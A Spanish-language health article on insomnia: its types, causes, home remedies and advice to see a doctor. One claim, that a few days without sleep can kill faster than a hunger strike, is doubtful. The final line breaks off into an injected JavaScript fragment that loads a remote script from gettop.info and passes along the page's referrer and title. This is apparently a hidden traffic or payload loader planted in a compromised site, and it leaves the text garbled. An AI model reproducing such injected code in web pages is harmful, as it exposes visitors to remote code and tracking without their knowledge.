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¿Padeces insomnio? No más…

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Problemas para conciliar el sueño

Está comprobado que el hombre pasa un tercio de su vida durmiendo.
Si tienes 30 años, eso significa que has pasado 10 de ellos durmiendo; si tienes 60 has estado en una cama durante 20 y si ya soplas 90 velas pues has dormido…¡30 años!.

¿Suena a demasiado tiempo como para no poder llegar a disfrutarlo del modo en que debiéramos hacerlo, verdad?.

Aunque a menudo se lo subestime, el insomnio es realmente una enfermedad seria.
Yendo a un extremo, según especialistas, varios días sin dormir nada en absoluto, pueden causar la muerte más rápidamente, incluso, que mediante una huelga de hambre.
Por otra parte, estadísticas recientes han demostrado que una de cada diez personas sufre o ha sufrido este mal.
Como podemos apreciar, sobran razones para no tomar a la ligera esta enfermedad.

¿Qué es el insomnio?
El insomnio es un trastorno del sueño que consiste básicamente en la incapacidad o dificultad para dormir.
Podemos distinguir tres diferentes clases:
A) Insomnio inicial (dificultad para conciliar el sueño al acostarse)
B) Insomnio intermedio (despertares frecuentes durante la noche)
C) Insomnio terminal (despertares tempranos, antes de lo planeado).

¿Cuáles son las causas?
Son variadas y no necesariamente de índole física sino también pueden ser psicológicas o sociales. Algunas de ellas son: ansiedad, estrés, depresión, hiperactividad, alergias, problemas cardíacos o pulmonares, consumo de sustancias estimulantes (cafeína), alcoholismo, patologías específicas y/o problemas psicológicos, entre otros factores (…como, por ejemplo, “un tercero que ronque demasiado”, ¿verdad?).

¿Se cura el insomnio?
Por supuesto. Ante todo, claro, se debe consultar a un médico para un diagnóstico específico y se debe evitar la automedicación.
Entre las soluciones caseras más recomendadas se destacan las siguientes: incorporar técnicas de relajación mediante diferentes actividades físicas o ejercicios específicos, evitar el consumo de estimulantes en las horas previas al reposo, escuchar música relajante antes de acostarse, tomar un baño caliente, aislar la habitación (…mandando al marido a dormir a otra parte podría ser una solución), no acostarse inmediatamente luego de la cena, intentar no separar las horas de sueño sino acumularlas.
En el caso de un problema grave, incapaz de solucionarse con estos consejos, existen diferentes medicaciones las cuales, por supuesto, solo se deben tomar bajo prescripción médica (las medicaciones para el sueño suelen ser agresivas y, en muchos casos, antes de tomarlas nos debemos realizar un análisis completo para estar seguros de que nuestro organismo las soportará).

En fin, ¡a “no dormirse” y aplicar estos consejos! No lo olvides: un tercio de nuestra vida se esconde en estas líneas…s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; } else {

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